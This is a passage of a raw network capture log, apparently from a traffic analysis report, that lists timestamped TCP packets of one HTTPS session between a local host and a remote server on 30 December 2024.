Dec 30, 2024 19:45:38.018645048 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.018656015 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.033950090 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.034033060 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.034046888 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.102814913 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.102896929 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.102920055 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.104142904 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.104152918 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.104235888 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.104243040 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.105025053 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.105034113 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.105079889 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.105087996 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.105112076 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.168673038 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.168720961 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.168764114 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.168771982 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.168800116 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.191092968 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191102982 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191132069 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191149950 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.191155910 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191184044 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.191816092 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191823959 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191854000 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191874027 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.191879988 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.191903114 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.192514896 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.192523003 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.192560911 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.192567110 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.192594051 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.193098068 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.193129063 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.193157911 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.193162918 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.193181992 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.193919897 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.193994999 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.194000959 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.194864035 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.194925070 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.194930077 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.210728884 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.210784912 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.210789919 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.257152081 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.257231951 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.257246017 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.279555082 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.279567003 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.279594898 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.279635906 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.279645920 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.279675007 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.280056000 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280065060 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280085087 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280121088 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.280128002 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280164003 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.280558109 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280567884 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280615091 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.280627966 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280644894 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.280703068 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.280703068 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.281332970 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.281342983 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.281400919 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.281404972 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.281418085 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.281456947 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.282406092 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.282444954 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.282458067 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.282463074 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.282500982 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.284595966 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.284650087 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.284677029 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.284682989 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.284713984 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.284729958 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.285424948 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.285490990 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.299614906 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.299698114 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.299786091 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.299849033 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.345849991 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.345943928 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.368021965 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.368124008 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.368398905 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.368464947 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.368568897 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.368624926 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.368757963 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.368822098 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369019032 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369071960 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369085073 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369095087 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369138002 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369149923 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369263887 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369316101 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369326115 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369369030 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369376898 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369383097 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369416952 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369436979 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369597912 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369657040 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369856119 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369895935 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369915009 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369920969 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369940042 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369954109 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369968891 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.369975090 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.369987965 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.370094061 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.388196945 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.388264894 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.388355017 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.388410091 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.388412952 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.388421059 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.388465881 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.456651926 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.456722975 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.457024097 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.457108974 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.457161903 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.457228899 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.457324982 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.457391024 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.457448959 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.457496881 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.457766056 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.457827091 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458003044 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458051920 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458060980 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458070993 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458089113 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458100080 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458121061 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458125114 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458148956 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458162069 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458199978 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458200932 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458209991 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458256960 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458707094 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458759069 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.458826065 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.458905935 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.476840973 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.476912022 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.476914883 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.476927042 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.476969004 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.477147102 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.477245092 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.477252007 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.534456015 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.545201063 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.545207977 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.545284986 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.545502901 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.545567036 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.545644999 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.545706987 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.545865059 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.545917988 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546000957 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546058893 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546201944 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546236992 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546258926 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546268940 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546283007 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546305895 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546575069 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546627045 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546633959 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546638966 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546684027 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546892881 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546932936 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546952963 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.546956062 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.546983957 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.547003984 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.547221899 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.547274113 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.547410965 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.547461033 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.565325022 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.565406084 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.565429926 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.565486908 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.565705061 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.565762043 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.633873940 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.633965969 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.634201050 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.634258032 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.634361982 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.634418964 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.634538889 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.634593010 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.634675026 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.634726048 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.634854078 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.634903908 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635091066 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635128021 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635135889 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635140896 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635180950 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635526896 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635580063 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635582924 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635590076 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635632038 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635644913 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635674000 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635699034 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635704041 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.635727882 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.635740042 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.636028051 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.636080027 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.636082888 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.636094093 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.636132956 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.636141062 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.654011965 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.654078960 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.654226065 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.654289007 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.674117088 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.674196005 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.722599983 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.722692966 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.722940922 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723002911 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.723114967 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723175049 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.723217964 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723277092 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.723412037 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723463058 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.723577023 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723630905 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.723777056 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.723824024 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724000931 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724054098 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724057913 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724065065 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724093914 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724106073 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724117994 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724124908 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724152088 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724174976 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724421978 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724469900 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724489927 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724539995 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.724783897 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.724834919 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.742697001 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.742769003 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.742944002 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.743006945 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.762661934 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.762733936 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811363935 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.811405897 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.811449051 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811455011 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.811486959 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811506987 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811542034 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.811604023 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811744928 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.811810970 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.811996937 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812062025 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812127113 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812187910 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812206984 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812263012 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812449932 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812513113 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812608957 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812652111 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812664032 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812668085 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.812695026 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.812717915 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.813024998 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.813081026 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.813177109 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.813232899 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.813286066 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.813344955 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.832395077 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.832484007 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.832485914 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.832494020 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.832540989 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.867005110 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.867089987 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.899907112 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.899967909 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.900150061 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.900209904 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.900260925 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.900317907 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.900466919 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.900526047 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:38.900626898 CET	443	50064	192.185.146.136	192.168.2.4
